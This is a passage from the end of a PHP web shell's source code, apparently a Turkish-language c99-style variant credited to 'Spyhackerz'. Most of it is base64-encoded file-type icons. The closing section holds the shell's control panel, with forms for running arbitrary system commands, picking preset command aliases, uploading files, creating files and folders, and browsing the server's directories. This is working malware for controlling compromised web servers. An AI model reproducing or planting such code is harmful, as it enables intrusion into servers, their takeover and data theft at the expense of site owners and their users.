5678 | "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". | |
5679 | ||
5680 | "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", | |
5681 | ||
5682 | "ext_asp"=> | |
5683 | ||
5684 | "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". | |
5685 | ||
5686 | "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". | |
5687 | ||
5688 | "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", | |
5689 | ||
5690 | "ext_mp3"=> | |
5691 | ||
5692 | "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". | |
5693 | ||
5694 | "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". | |
5695 | ||
5696 | "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", | |
5697 | ||
5698 | "ext_avi"=> | |
5699 | ||
5700 | "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". | |
5701 | ||
5702 | "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". | |
5703 | ||
5704 | "PYXCyg+V2i44XeRmSfYqsGhAAgA7", | |
5705 | ||
5706 | "ext_cgi"=> | |
5707 | ||
5708 | "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". | |
5709 | ||
5710 | "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". | |
5711 | ||
5712 | "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". | |
5713 | ||
5714 | "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". | |
5715 | ||
5716 | "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5717 | ||
5718 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5719 | ||
5720 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5721 | ||
5722 | "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". | |
5723 | ||
5724 | "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". | |
5725 | ||
5726 | "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". | |
5727 | ||
5728 | "RYtMAgEAOw==", | |
5729 | ||
5730 | "ext_cmd"=> | |
5731 | ||
5732 | "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". | |
5733 | ||
5734 | "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". | |
5735 | ||
5736 | "dmrYAMn1onq/YKpjvEgAADs=", | |
5737 | ||
5738 | "ext_cpp"=> | |
5739 | ||
5740 | "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". | |
5741 | ||
5742 | "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". | |
5743 | ||
5744 | "Eq7YrLDE7a4SADs=", | |
5745 | ||
5746 | "ext_ini"=> | |
5747 | ||
5748 | "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". | |
5749 | ||
5750 | "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". | |
5751 | ||
5752 | "SnEjgPVarHEHgrB43JvszsQEADs=", | |
5753 | ||
5754 | "ext_diz"=> | |
5755 | ||
5756 | "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". | |
5757 | ||
5758 | "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". | |
5759 | ||
5760 | "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". | |
5761 | ||
5762 | "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". | |
5763 | ||
5764 | "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". | |
5765 | ||
5766 | "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". | |
5767 | ||
5768 | "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". | |
5769 | ||
5770 | "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". | |
5771 | ||
5772 | "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5773 | ||
5774 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5775 | ||
5776 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5777 | ||
5778 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5779 | ||
5780 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5781 | ||
5782 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5783 | ||
5784 | "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". | |
5785 | ||
5786 | "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". | |
5787 | ||
5788 | "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". | |
5789 | ||
5790 | "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". | |
5791 | ||
5792 | "Ow==", | |
5793 | ||
5794 | "ext_doc"=> | |
5795 | ||
5796 | "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". | |
5797 | ||
5798 | "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". | |
5799 | ||
5800 | "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", | |
5801 | ||
5802 | "ext_exe"=> | |
5803 | ||
5804 | "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". | |
5805 | ||
5806 | "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". | |
5807 | ||
5808 | "xhIAOw==", | |
5809 | ||
5810 | "ext_h"=> | |
5811 | ||
5812 | "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". | |
5813 | ||
5814 | "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". | |
5815 | ||
5816 | "Wq/NknbbSgAAOw==", | |
5817 | ||
5818 | "ext_hpp"=> | |
5819 | ||
5820 | "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". | |
5821 | ||
5822 | "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". | |
5823 | ||
5824 | "UqUagnbLdZa+YFcCADs=", | |
5825 | ||
5826 | "ext_htaccess"=> | |
5827 | ||
5828 | "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". | |
5829 | ||
5830 | "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". | |
5831 | ||
5832 | "AAA7", | |
5833 | ||
5834 | "ext_html"=> | |
5835 | ||
5836 | "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". | |
5837 | ||
5838 | "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". | |
5839 | ||
5840 | "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". | |
5841 | ||
5842 | "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". | |
5843 | ||
5844 | "ADs=", | |
5845 | ||
5846 | "ext_jpg"=> | |
5847 | ||
5848 | "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". | |
5849 | ||
5850 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". | |
5851 | ||
5852 | "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". | |
5853 | ||
5854 | "FxEAOw==", | |
5855 | ||
5856 | "ext_js"=> | |
5857 | ||
5858 | "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". | |
5859 | ||
5860 | "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". | |
5861 | ||
5862 | "a00AjYYBbc/o9HjNniUAADs=", | |
5863 | ||
5864 | "ext_lnk"=> | |
5865 | ||
5866 | "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". | |
5867 | ||
5868 | "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". | |
5869 | ||
5870 | "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". | |
5871 | ||
5872 | "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". | |
5873 | ||
5874 | "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". | |
5875 | ||
5876 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5877 | ||
5878 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5879 | ||
5880 | "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". | |
5881 | ||
5882 | "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". | |
5883 | ||
5884 | "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". | |
5885 | ||
5886 | "ADs=", | |
5887 | ||
5888 | "ext_log"=> | |
5889 | ||
5890 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". | |
5891 | ||
5892 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". | |
5893 | ||
5894 | "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", | |
5895 | ||
5896 | "ext_php"=> | |
5897 | ||
5898 | "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". | |
5899 | ||
5900 | "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", | |
5901 | ||
5902 | "ext_pl"=> | |
5903 | ||
5904 | "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". | |
5905 | ||
5906 | "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", | |
5907 | ||
5908 | "ext_swf"=> | |
5909 | ||
5910 | "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". | |
5911 | ||
5912 | "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". | |
5913 | ||
5914 | "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". | |
5915 | ||
5916 | "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". | |
5917 | ||
5918 | "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", | |
5919 | ||
5920 | "ext_tar"=> | |
5921 | ||
5922 | "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". | |
5923 | ||
5924 | "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". | |
5925 | ||
5926 | "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". | |
5927 | ||
5928 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". | |
5929 | ||
5930 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5931 | ||
5932 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5933 | ||
5934 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5935 | ||
5936 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". | |
5937 | ||
5938 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". | |
5939 | ||
5940 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". | |
5941 | ||
5942 | "u4tLAgEAOw==", | |
5943 | ||
5944 | "ext_txt"=> | |
5945 | ||
5946 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". | |
5947 | ||
5948 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". | |
5949 | ||
5950 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", | |
5951 | ||
5952 | "ext_wri"=> | |
5953 | ||
5954 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". | |
5955 | ||
5956 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". | |
5957 | ||
5958 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", | |
5959 | ||
5960 | "ext_xml"=> | |
5961 | ||
5962 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". | |
5963 | ||
5964 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5965 | ||
5966 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". | |
5967 | ||
5968 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". | |
5969 | ||
5970 | "IQA7" | |
5971 | ||
5972 | ); | |
5973 | ||
5974 | //For simple size- and speed-optimization. | |
5975 | ||
5976 | $imgequals = array( | |
5977 | ||
5978 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), | |
5979 | ||
5980 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), | |
5981 | ||
5982 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), | |
5983 | ||
5984 | "ext_html"=>array("ext_html","ext_htm"), | |
5985 | ||
5986 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), | |
5987 | ||
5988 | "ext_lnk"=>array("ext_lnk","ext_url"), | |
5989 | ||
5990 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), | |
5991 | ||
5992 | "ext_doc"=>array("ext_doc","ext_dot"), | |
5993 | ||
5994 | "ext_js"=>array("ext_js","ext_vbs"), | |
5995 | ||
5996 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), | |
5997 | ||
5998 | "ext_wri"=>array("ext_wri","ext_rtf"), | |
5999 | ||
6000 | "ext_swf"=>array("ext_swf","ext_fla"), | |
6001 | ||
6002 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), | |
6003 | ||
6004 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") | |
6005 | ||
6006 | ); | |
6007 | ||
6008 | if (!$getall) | |
6009 | ||
6010 | { | |
6011 | ||
6012 | header("Content-type: image/gif"); | |
6013 | ||
6014 | header("Cache-control: public"); | |
6015 | ||
6016 | header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); | |
6017 | ||
6018 | header("Cache-control: max-age=".(60*60*24*7)); | |
6019 | ||
6020 | header("Last-Modified: ".date("r",filemtime(__FILE__))); | |
6021 | ||
6022 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} | |
6023 | ||
6024 | if (empty($images[$img])) {$img = "small_unk";} | |
6025 | ||
6026 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} | |
6027 | ||
6028 | echo base64_decode($images[$img]); | |
6029 | ||
6030 | } | |
6031 | ||
6032 | else | |
6033 | ||
6034 | { | |
6035 | ||
6036 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} | |
6037 | ||
6038 | natsort($images); | |
6039 | ||
6040 | $k = array_keys($images); | |
6041 | ||
6042 | echo "<center>"; | |
6043 | ||
6044 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} | |
6045 | ||
6046 | echo "</center>"; | |
6047 | ||
6048 | } | |
6049 | ||
6050 | ||
6051 | ||
6052 | ||
6053 | ||
6054 | exit; | |
6055 | ||
6056 | } | |
6057 | ||
6058 | if ($act == "about") {echo "<center><b>Hakkinda:<br>Bu Script Spyhackerz Tarafindan Yazilmistir.</font></font></a></b>";} | |
6059 | ||
6060 | ?> | |
6061 | ||
6062 | </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | |
6063 | ||
6064 | <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Uygulamalar</b></a> ::</b></p></td></tr> | |
6065 | ||
6066 | <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Tamam"></form></td><td width="50%" height="1" valign="top"><center><b>Secenekler </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Tamam"></form></td></tr></TABLE> | |
6067 | ||
6068 | <br> | |
6069 | ||
6070 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | |
6071 | ||
6072 | <tr> | |
6073 | ||
6074 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Arama</b></a> ::</b><form method="POST"><input type=hidden name=act value="Ara"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Ara"></form></center></p></td> | |
6075 | ||
6076 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> | |
6077 | ||
6078 | </tr> | |
6079 | ||
6080 | </table> | |
6081 | ||
6082 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Klasor olustur ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosya olustur ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td></tr></table> | |
6083 | ||
6084 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Dizine Git ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Git"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosyaya gir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Git"></form></center></td></tr></table> | |
6085 | ||
6086 | <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>[ <b>Edited By</b></a> <a href="<?php echo $surl; ?>act=about"><font color="#00ff00"><?php echo $shver; ?></font></a> | Sayfa: <?php echo round(getmicrotime()-starttime,4); ?> sn' de uretilmistir. ]</body></html><?php chdir($lastdir); ashshexit(); ?> |